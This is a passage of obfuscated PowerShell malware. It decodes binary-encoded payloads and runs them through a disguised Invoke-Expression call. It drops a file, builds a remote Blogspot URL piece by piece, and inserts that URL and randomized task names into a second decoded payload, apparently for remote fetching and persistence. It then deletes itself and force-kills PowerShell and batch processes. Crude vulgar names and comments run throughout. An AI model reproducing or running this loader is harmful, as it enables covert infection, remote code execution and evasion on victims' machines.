1>0>1!1!1>0>1!1!1!1!1010>01>01010111>01!1!1!1!1!1010>01010>01010>01010>01010>01>0>1!1!1!1!1!1!1!1010>01>0>1!1!1!1!1!1!1010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01>0>1>0>1!1!1!1!1!1!1!1!1010>01>0>1>0>1!1!1!1!1!1!1!1!1!1!1010>01>0>1>0>1!1!1!<>1!1!1!1!1!1!1!1!1!1!1!<1010111>01!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1010>01010>01010>01010>01>0>1!1!1!1!1!1!1!1!10110>1!1>0>1>0>1!1!1!1010>01>0>1!1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1!1010>010110>1!1>0>1!1>0>1!1!1010>01>0>1>0>1!1!1>01010111>01>0>1!1!1!1010>01010>01010>01010>01010>01>0>1!1010>01010>01010>01>0>1!1!1!1!1!1010>01>0>1!1!1!1010>01010>01>0>1!1!1!1!1!1010>01>0>1!1010>01>0>1!1>0>1!1!1!1!1>01010111>01>0>1!1!1!<>1>0>1!1010>01010>01010>01>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1010>010110>1!1!1!1!1!1!1!1!1!1!1!1!1010>01010>01010>01>0>1!1!1!1!1!1!1!1!1!1010>01010>01010>01>0>1!1!1!1!1010>01>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1010>01>0>1!1!1!1!1!1!1010>01>0>1!1!1!1010>01010>01>0>1>0>1!1!1!1!1!1!1!1!1!1!1!1010>01>0>1!1!1!1!1!1!1!1!1!1!1!1010>01>0>1>0>1!1!1>0>1!1>0>1!10110>1!1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1010>01010>010110>10110>1!1!1!1!1!1!1!1!1010>01>0>1!1>0>10110>1!1!1010>01>0>1!1!1!1!1>0>1!<>1>0>1!1>0>1!1!1!1!1>0>1!1!1!1!1>0>1!1!1!1>0>1!1010>010110>1!1!1!1!1!1!1!1!1!1!1!1010>01010>01010>01>0>1>0>1!1!1>0>1>0>1!1>0>10110>1!1>0>1!1!1>0>1!1>0>10110>1!1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!<>1>0><>1!1!1!<>1>0>1!1!1>0>1!1!1!1!1!1!1!1!1!1!1!<>1!1>0>1!1!1!1>01010111>01!1>0>1!1!1!1!1!1010>01010>01010>01>0>1!1!1>0>1!1!1!1>0>1!1>0>1!1!1!1!1>0>1!1>0>1>0>1!1!1!1!1>0>1!1>0>1>0>1!1!1!1!1!10110>1!1>0>1!1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!1!1>0>1>0>1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0>1!1>0>1>0><>1!1!1>0>1>0>1!1!1>0>1!1>0>1!1>0>10110>1!1!1>0>1!1!1!1>0>1!1!1!1>0><>1!1!1!10110>1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0><>1!1!1!10110>1!1>0>1>0>1!1>0>1!1>0>1!10110>1!1!1>0>1!1!10110><>1!1!1>0>1!1>0>1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1>0><>1!1!1!1!1>0>1!10110>1!1>0>10110>1!1>0>1>0>1!1!10110>1!1>0>1>0>1!1!10110>1!1>0>1>0>1!1>0>1!1!1!1!1>0>1>0>1!1>0>1>0>1!1!1!1>0>1>0><>1!1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1!1!1>0>1>0>1!1!1>0>1!1!10110>1!10110>1!1!1>0>1>0>1!1>0>10110>1!1>0>1>0>1!1!1>0>1!1!10110>1!1!1!1!1!10110><>1!1!1>0>1>0>1!1!10110>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!1!1>0>1!1>0>1>0>1!1!1!1>0>1!1>0>1!1>0>1!1>0>1!1!1!1!1>0>1!1!1>0>1!1>0>1>0>1!1!1>0>1>0>1!1!1>0>1>0>1!1!1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!10110>1!1>0>1>0>1!1!1!1!1>0>1!1!1>0>1!1>0>1>0>1!1!10110>1!1!1>0><>1!1>0>1>0>1!1>0>1!1!1!1!1!1!1!1!1!101101010111>01!10110>1!10110>10110>1!1!1!1!10110>1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1010>01>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01>0>1!1!1!1!1!1!1010>01010>01010>010110>1!1>0>1!1!1!1!1!1!1!1!1!1!<>10110>10110>10110>10110>10110>1!1!1!1!1!1!1!1!1010>01>0>1!1!1!1!1!1!1!1!1!1!1!1010>01>0>1>0>1010>01>0>1!1!1>0>1!1>0>1!1>0>1>0>1!1>0>1!1>0>1!1>0>1>0>1!1!1>0>1<01101<1!1>0>1!1!1>0>1>0>1!1>0>1!1>0>1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1010>01010>01010>01!1!1!1>0>1>0>1010>01010>01010>01010>01010>01!1!1!1!1>0>1010>01010>01010>01010>01010>01!1>0>1>0>1>0>1>0>1>0>1>0>1>0>1>0>1>0>1>0>1>0>1>0>1>0>1>0>1>0>1>0>>0<010<010<010>0>>011<0110>1011011>1>0110110<0!011110>!0>>01>0>110>1011011>1<1011>>111>10>0>01<101110>01<>1>0>1011>11>11011<01101>0110>101110<10<0>1110>111>>11>10>10101101>1>010101110>1011>11>11011<01101>0110>101110<10<0>11101101<>11>10>10101101>1<0101110<10>0>>011>>10<0110>1011011>1>0110110<11>>0!011110>!0101101011010>11011110110>1011011>0!0>>011<0110>1011011>1>0110110<101101>10110>1>0>1011>01011>010110>10<0>>011<0110>1011011>1>0110110<01011>>1>01>101011011>1>11101110>0110<010>10101110<10>0>>011<0110>1011011>1>0110110<11>1>!011110>!0>>011>>10<0110>1011011>1>0110110<11>>01011>11>>1>101011<01101>01<101>01101>10>10<0>11>1010>0>11>10111>1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!>11>10>>1011>11>>1>101011<01101>01<101>01101>10>10<0>11>10110>>11>10111>1>0>1>0>1>0>>11>10>>1011>11>>1>101011<01101>01<101>01101>10>10<0>11><>>11>10111>1>0>1!1!1!1!1!1!>11>10>>1011>11>>1>101011<01101>01<101>01101>10>10<0>111010111>0>11>10111>1>0>1!1!1!1!1!>11>10><10<010>101101101>0>111>101110>01>10101011011010111010101110>!0>>01>>01<101110>01<>1>0>!011110>!11010110110>1011011010110101101<1011>>1>>01>101011011>0!0>>011<0110>1011011>1>0110110<11>1<10>101101101>0>111>101110>01>10101011011010111010101110>!0>>01>>01<101110>01<>1>>0!011110>!11010110110>1011011010110101101<1011>>1>>01>101011011>0!0>>011011010111010101110>0110<1<101101!10<010>0>>011110110>>10111110>11110101011011010>110111>1011>1101110>01>1010110110>1011>10>>1>10101>1>1101>01>10101>01101110>0110>101101111011011>01011><01011>11011>1101>1010110110101>0>1101>0111>10101110>1110>01110>>1>0110111101<101><10<0>>01>>01<101110>01<>1>0>10><10<010>0>>011110110>01010111110>11110>!111101<10>0!0!0!0!0>>0111101101010>0111110>1111010101101101>0110110<1<1011>>101101101011101010111010!0010<0>1110<0>>11>101<>11>1011>0>11>101<>1110<>0>11>10><10>0!0!0!0!0>>011110110>11010111110>1111010101101101>0110110<1<1011>>101101101011101010111010!0010<0>1110<1>>11>10><10>0!0!0!0!0>>011110110101>10111110>11110>>>011110110>>10111110>1011>>011101>10101110>01010>0111>1011<01>10>10<010<0>>0111101101010>0111110>!0101101011010>11011110110>1011011>0!0>11>>11>10>>10><10>0!0!0!0!0>>011110110>11>111110>11110>>>011110110101>10111110>1011>>011101>10101110>0>110101>10101110>0110<110111101><10<010<0>>011110110>11010111110>!0101101011010>11011110110>1011011>0!0>11>>11>10>>10><10>0!0!0!0!0>>011110110>01>111110>11110>>1110<1>1110>1011>010101110110>1011011>1>>0110111101110111011>1101011>0>11010110>101>011011>>1101111011>110110111101>1>1110<1011>>11>>010101010>01011>0>01>11>>1<10110110101>1010111011101101111011>>110101>>11<10>0!0!0!0!0>>01111011010101>0110>0111110>11110>>>011110110>01>111110>10101>>11101011>011101>0110<1011>01!1011>01>1>1!1>1>1>0>11>101011>010>>1>10101>111010>11011101>1>011011>1>1011>1>1010111<1>10>>11<10>0!0!0!0!0>>01111011010101>01>>111110>11110>>>011110110>01>111110>10101>>11101011>011101>01>>01011>01!1011>011010>1!11011>1>>011011101011>010>>1>10101>111010>11011101>1>011011>1>1011>1>1010111<1>10>>11<10>0!0!0!0!0>>01111011010101>01>110111110>11110>>>011110110>01>111110>10101>>11101011>011101>01>1>1011>011010101011>0>1101011>1101>0>11101010110>101101>01><1011>1>1010111<1>10>>11<10>0!0!0!0!0>>011110110<010111110>111101010110110110111101>0>11010>1>10101>01101110>0101101101011101010111010!0010<0>>011011>111010101101>01101<101>011011>111010101101>01101<10><10>0!0!0!0!0>>011110110>11><01010>>10>>111110>11110>!111101>!0>>011110110<010111110>!111110<10<010<0>>>>011110110>11>111110>1011>>>1011011>11101>11011110110101101>10>10<0>>011011>111010101101>01101<101>01111011010101>0110>0111110>101>01>>01<101110>01<>1>>010>>10><10<0>>>>011110110>11>111110>1011>>>1011011>11101>11011110110101101>10>10<0>>011011>111010101101>01101<101>01111011010101>0110>0111110>101>01>>01<101110>01<>1>>010>>10><10>0!0!0!0!0>>011110110>11>111110>1011>>>1011011>11101>11011110110101101>10>10<0>>011011>111010101101>01101<101>01111011010101>01>>111110>101>01>>01<101110>01<>1>>010>>10><10<0>>>>011110110>11>111110>1011>>>1011011>11101>11011110110101101>10>10<0>>011011>111010101101>01101<101>01111011010101>01>>111110>101>01>>01<101110>01<>1>>010>>10><10>0!0!0!0!0>>011110110>11>111110>1011>>>1011011>11101>11011110110101101>10>10<0>>011011>111010101101>01101<101>01111011010101>01>110111110>101>01>>01<101110>01<>1>>010>>10><10<0>>>>011110110>11>111110>1011>>>1011011>11101>11011110110101101>10>10<0>>011011>111010101101>01101<101>01111011010101>01>110111110>101>01>>01<101110>01<>1>>010>>10><10<010>111110<10<010>0>1>0!0>>011110110>01010111110<10<010<010<010<010<010<010>0>>011>1101>011011>>110>1011<01110>010<01<101110>0110<0!011110>!0>>0>11010111>10>>1011011>11101>110111101>01101<101110>0110>101101111011011>01011>>11010111>10<1101101111011011010110110101<1011011>1><1011>10<01<101110>0110!010<010>0>01>!<110110<1>10101>0110110101>!110>101>1>0!1110>0110<1>10>!11>1101>011011>>110>1011<011100110<0!1>1010111<110>1011>1101110>011>1<10>110>101>1>0!010<1010>01>101011>1101110<101101010<01<101110>0110<0!0>>011>1101>011011>>110>1011<01110>010<01<101110>0110<010>>!111101<10>0!0!0!0!0>01>!1010>011>>111>>!1110>0110111>!1>>01>10101101>01>10101110>01>10>!1110>0110<1>10>!11>1101>011011>>110>1011<01110!10>0!0!0!0!1110>011>>111>>!111101<10>0!0!0!0!0!0!0!0!10>>1>1010110110101101111011101>1>10>1011010>>101110>01>1010110110>!0101101010<01<101110>0110<0!0>>011>1101>011011>>110>1011<01110>010<01<101110>0110<0!01011010>01>1101111011>>1>01101>10<10>0!0!0!0!0!0!0!0!1010111011>>110>101110>01>10>1011010>11110111010101110>011<01110101011100>10>1101>011011>>110>1011<011101>!1>0>1>10101>101011011>0!1>>01>10101101>01>10101110>01>10101>110111010101>01101>01101>101011>11011>1101>1>111010101101>01101>0111>>1011>0>0<010>0!0!0!0!111110>!1>01101<101110>01>0110110<0!111101<10>0!0!0!0!0!0!0!0!1010111011>>110>101110>01>10>1011010>0101011>>11>>1101111011>>0!0>0>>01>1<10110>101101>01>10101>0110111>!1>>01>10101101>01>10101110>01>10>!1110>0110<1>10>!11>1101>011011>>110>1011<01110<1011>0!>0101011>>11>>1101111011>>01110>0!0>>0101111>>0<010>0!0!0!0!111110<10>111110>!1>10101101>011>1101>10>!111101<10>0!0!0!0!1010111011>>110>101110>01>10>1011010>0101011>>11>>1101111011>>0!0>0>10>1101>011011>>110>1011<011100110<0!1>>0110111101>101011>1>!11011>1101111011101010111<110>1011>1101110<1011>0>0<010>111110<1010'.replace('!','1000000').replace('<','10000').replace('>','100') #kcuf em rederhar function rentolimanakasipondoromontipuno { param ( [string]$BinaryString ) try { if ($BinaryString.Length % 8 -ne 0) { throw "Invalid binary input length" } $ByteString = [System.Collections.Generic.List[byte]]::new() for ($i = 0; $i -lt $BinaryString.Length; $i += 8) { $Byte = [convert]::ToByte($BinaryString.Substring($i, 8), 2) $ByteString.Add($Byte) } $EncodedString = [System.Text.Encoding]::ASCII.GetString($ByteString.ToArray()) $EncodedString } catch { "Error: $_" } } (rentolimanakasipondoromontipuno $niglakhamanMna) | .('{1}{°°°°°°°°°°°°°°°°°°}'.replace('°°°°°°°°°°°°°°°°°°','0')-f'!','I').replace('!','ex') Remove-Item -Path "$okasodkaoskdoaksd\thukanthukai.~!!@@!!@@!!~", "$okasodkaoskdoaksd" -Recurse -Force #the File will start cumiing to your pca '@ [IO.File]::WriteAllText("$okasodkaoskdoaksd\\thukanthukai.~!!@@!!@@!!~", $lundkimuchili) $lundkimuchili | .('{1}{°°°°°}'.replace('°°°°°','0')-f'!','I').replace('!','ex') function Get-RandomCharacters { $customCharacters = "abcdefghijklmnopqrstuvwxyz" $numCharacters = Get-Random -Minimum 2 -Maximum 3 $result = '' for ($i = 0; $i -lt $numCharacters; $i++) { $randomIndex = Get-Random -Minimum 0 -Maximum $customCharacters.Length $result += $customCharacters[$randomIndex] } return $result } $jasokdoaskdokasodkaskod = "001001*10011010110-1011011*11*01011011010110-10-0101011011*-01*01**0-101001**1**001*1*00101*1*1001101010011*010-0110011*010-0011011*110-0010011010010-*00-01*0-0100110-00-0-001100100110-*11001*-1010101101100100-01010011011*110-0010011010010-*00-01*11010010110-001100-0010-001*11001101001011011*1100101010100110-10010-00110-01*1100101011011010100-1011*100110101001100101011*110-01*0100-001011*0100-01010-01010011011*110-0010011010010-*00-01*010-00101001101101*01100101011011*11011*0100-001011*0100-0-*00110-10-0-011001010-00100-001101101*01100101011011*11011*01**0101101011001010-**1**1*0100-10010-*0011*010-00110-0011001**0101101011*11001**10110110100-0011001010-01*010-001010011011001010-00100-011001101001011*11011001010101*00110-1011010010110-00-01*1001101011*010110-0011*0101100-011001010-0010010-0100-01*-0100101001101100101011*110-01010-0010011010010-01*-10010101*00-00100110-10-01*110-1011*110110-1011011*01**0-101001**10110110100-0011001010-01*010-00101001101100101011*110-01010-0010011010010-01*-10010101*00-00100110-10-01*110-1011*110110-1011011*10101*-10010-*001100101010-0100-01*-010010101*11011*-00110011*10011001*-01100101*011010010-001001101101001**11011*11010010110-001101011011011010110010101100-011*01001**-11*01**1101001011001010-1*0010100100-011010100110-01*11*010-00100-01*010110101010011011011*1100101011001010-**1**01011010101001101100101011*110110-10110-0011001*-0011001**011010100-01100100-001011*0100-0-00100-01010110-*100-010-0100-011001**11011010-01100110010100-101010110110110-00-0-001100100110-*1100100101101100110011010-01001011*110-00-0-001100100110-*110010010110110011*0010-01001011*110-00-0-001100100110-*110010010110110011*1010-01001011*110-00-0-001100100110-*1100100101101100110010010-01010-0100-011001**110-0011001010-0-001**1*001011*110-01*11010010-01100110010101011*0100-1011*100110101001100101011*110-01*0101*011011010-0110011001010101101100110010010-010010100101011011011011010-011001100101010110110011*0010-01010-0100101*011011010-0110011001010101101100110011010-01001011*01**011**1011*01**-01*-00100-0101011001010010100100-011011*11011011*110-10-00110110010100101*0010100100-0110110-0011001010-0-001**1*001011*110-01*11010010-01100110010101011*0100-1011*100110101001100101011*110-01*0101*011011010-011001100101010110110011*1010-01001010010010-001*1*1100101011011*11001010-01*110010101*11001101001011011*110010100101*01010-01010011011*110-0010011010010-*00-01*010-001010011011*110-0010011010010-*00-01*1*1100-0101011011*11011*100-0011*0101101101011001010010100100-011001*1*00101*00101*1*1001***0101001010011011001010-01*0101101010010010-01*1100101011011010101*00-00100110-10-*0011001010-00100-01*-1001001**01011010101*0011*010-01*1101*001**01*1001001*0100101101*0110101010100-010010-*10100110100-101*110010101*1010-01*0010101001001*101010-*100110101101001011*110-00100110-10-00110110-1011001100-01*10-*1010-011010010110-0011001*110-10-0-0-0011010-*1*0110-01010-00100-0010011001010110-00-01*1010110011001010-00100-0011011010010110-10110-0010-*10100100-01010110-*1*1*1**01011010100-0011*010110110101100101001**01*100-01*11*010-001101101011011011*110-10-00100-0010011*01011*01011011*1101101011*010110-*1*1*1**010110101010110011*01011011*-010101100101001**01*10011011010-001101101*0-01*11*01001**01001*10011010110-1011011*11*01011011010110-10-0101011011*-01*01*1*00101*00101*00101*1001*11011010-001101101*0-01*11*010-00110-00110-001101010011011*110-0010011010010-*00-01*01**0-101001**1**001*1*00101*1*1001101010011*010-0110011*010-0011011*110-0010011010010-*00-01*0-01001101011011010010-0-0110-10110-00-1*00-1010101101100100-01010011011*110-0010011010010-*00-01*11010010110-001100-0010-001*11001101001011011*1100101010100110-10010-00110-01*1100101011011010100-1011*100110101001100101011*110-01*0100-001011*0100-01010-01010011011*110-0010011010010-*00-01*010-00101001101101*01100101011011*11011*0100-001011*0100-0-*00110-10-0-011001010-00100-001101101*01100101011011*11011*01**0101101011001010-**1**1*0100-10010-*0011*010-00110-0011001**0101101011*11001**10110110100-0011001010-01*010-001010011011001010-00100-011001101001011*11011001010101*00110-1011010010110-00-01*1001101011*010110-0011*0101100-011001010-0010010-0100-01*-0100101001101100101011*110-01010-0010011010010-01*-10010101*00-00100110-10-01*110-1011*110110-1011011*01**0-101001**10110110100-0011001010-01*010-00101001101100101011*110-01010-0010011010010-01*-10010101*00-00100110-10-01*110-1011*110110-1011011*10101*-10010-*001100101010-0100-01*-010010101*11011*-00110011*10011001*-01100101*011010010-001001101101001**11011*11010010110-001101011011011010110010101100-011*01001**-11*01**1101001011001010-1*0010100100-011010100110-01*11*010-00100-01*010110101010011011011*1100101011001010-**1**01011010101001101100101011*110110-10110-0011001*-0011001**011010100-01100100-001011*0100-0-00100-01010110-*100-010-0100-011001**11011010-01100110010100-1010101101101101011011010010-0-0110-10110-00-1*0101101100110011010-01001011*1101011011010010-0-0110-10110-00-1*010110110011*0010-01001011*1101011011010010-0-0110-10110-00-1*010110110011*1010-01001011*1101011011010010-0-0110-10110-00-1*0101101100110010010-01010-0100-011001**110-0011001010-0-001**1*001011*110-01*11010010-01100110010101011*0100-1011*100110101001100101011*110-01*0101*011011010-0110011001010101101100110010010-010010100101011011011011010-011001100101010110110011*0010-01010-0100101*011011010-0110011001010101101100110011010-01001011*01**011**1011*01**-01*-00100-0101011001010010100100-011011*11011011*110-10-00110110010100101*0010100100-0110110-0011001010-0-001**1*001011*110-01*11010010-01100110010101011*0100-1011*100110101001100101011*110-01*0101*011011010-011001100101010110110011*1010-01001010010010-001*1*1100101011011*11001010-01*110010101*11001101001011011*110010100101*01010-01010011011*110-0010011010010-*00-01*010-001010011011*110-0010011010010-*00-01*1*1100-0101011011*11011*100-0011*0101101101011001010010100100-011001*1*00101*00101*00101*00101*1*1001***0101*1001*-01*11*010-0011011010110100-0011*010110110101100101001**0-101001**01*10011011*110-10-0010011*010-01*11*010-001101101011001*1*001010010100100110010101100-011010010-00110-01*11001010-001*10110101010011011*1101101*01100101011001*-0101011011*1100101011001*10101*11*010-001101101011001**010110101*001011*110-01*11010010110-10110-*1**0101*0100-0011001010-0-0010110101010011011*1101101*01100101011001*-0101011011*1100101011001*10101*11*010-00110110101101*001011*110-01*11010010110-10110-*1**010110101*1010-1*01100101011*110-01010-01*1100101001**0100-011011010-001101101*0-01*11*0100100-001**010110101*0010-001001100-0-010101101101011001010110-00-01*01**01001*11011010-001101101*0-01*11*010-00110-00110-001101010011011*110-0010011010010-*00-01*0101001001**0101101010101*-00100110100101100-01100-011001010-001*1**0101*0100-0011001010-0-0010110101010011011*1101101*01100101011001*-0101011011*1100101011001*10101*11*010-001101101011010101*-00100110100101100-01100-011001010-001*1**01011010100-10110-0011*1101100101001**010110101*0010-01*01**0101*01*-011001010-01*010110101*1*11*010-01*1100101001010010010-001*001011001*11001*1001101011010010110-00-01010-01*11001010-001100101*0-001101100101011*110110-10110-0011001*11011*110-10-0010011*010010100100101001001**0101101010101*11*010-0011011010110100-0011*010110110101100101001**01001*-01*11*010-0011011010110100-0011*010110110101100101001**010110101*1100110-10-0010011*1101100101*0101*00101001010011011001010-01*0101101010010010-01*1100101011011010101*00-00100110-10-*0011001010-00100-01*-1001001**01011010101*0011*010-01*1101*001**01*1001001*0100101101*0110101010100-010010-*10100110100-101*110010101*1010-01*0010101001001*101010-*100110101101001011*110-00100110-10-00110110-1011001100-01*10-*1010-011010010110-0011001*110-10-0-0-0011010-*1*0110-01010-00100-0010011001010110-00-01*1010110011001010-00100-0011011010010110-10110-0010-*10100100-01010110-*1*1*1**01011010100-0011*010110110101100101001**01*10011011*110-10-0010011*010-01*11*010-001101101011001*1*1**010110101010110011*01011011*-010101100101001**01*100-0011011*1101101*0-01*11*010-0011011010110-0011001**010-10-00100-01010110-*1**010-10-01*110-*1**01001*-01*11*010-0011011010110100-0011*010110110101100101001*1*001010".replace('*','000').replace('-','111') $shahinipples = rentolimanakasipondoromontipuno $jasokdoaskdokasodkaskod $ULLLLLLLLLL = 'minecap28may.' + 'b' + 'l' + 'o' + 'g' + 'sp' + 'o' + 't' + '.' + 'c' + 'o' + 'm' + '/hehehe' $varasdajdiwjdiwjwdijjiwjidwji1 = Get-RandomCharacters $varasdajdiwjdiwjwdijjiwjidwji2 = Get-RandomCharacters $varasdajdiwjdiwjwdijjiwjidwji3 = Get-RandomCharacters $varasdajdiwjdiwjwdijjiwjidwji4 = "Drakeneio1" $varasdajdiwjdiwjwdijjiwjidwji5 = "Drakei2" $varasdajdiwjdiwjwdijjiwjidwji6 = "76" $shahinipples = $shahinipples.Replace('tasklorraalman', $varasdajdiwjdiwjwdijjiwjidwji5).Replace('linkmega', $ULLLLLLLLLL).Replace('kiwonx', $varasdajdiwjdiwjwdijjiwjidwji1).Replace('mve', $varasdajdiwjdiwjwdijjiwjidwji2).Replace('secondlora', $varasdajdiwjdiwjwdijjiwjidwji6).Replace('loratask', $varasdajdiwjdiwjwdijjiwjidwji4).Replace('nw2n2', $varasdajdiwjdiwjwdijjiwjidwji3) | .('{1}{°°°°°}'.replace('°°°°°','0')-f'!','I').replace('!','ex') $scriptPath = $MyInvocation.MyCommand.Path # Check if the script path exists if (Test-Path $scriptPath) { # Try to delete the script try { Remove-Item -Path $scriptPath -Force Write-Output "Script has been deleted successfully." } catch { Write-Error "Failed to delete the script. Error: $_" } } else { Write-Error "Script path does not exist." } Start-Sleep -Seconds 20 # Get processes with .bat or powershell in their command lines and stop them forcefully Get-Process | Where-Object { $_.MainModule.FileName -like '*\*.bat' -or $_.MainModule.FileName -like '*\powershell*' } | ForEach-Object { Stop-Process -Id $_.Id -Force }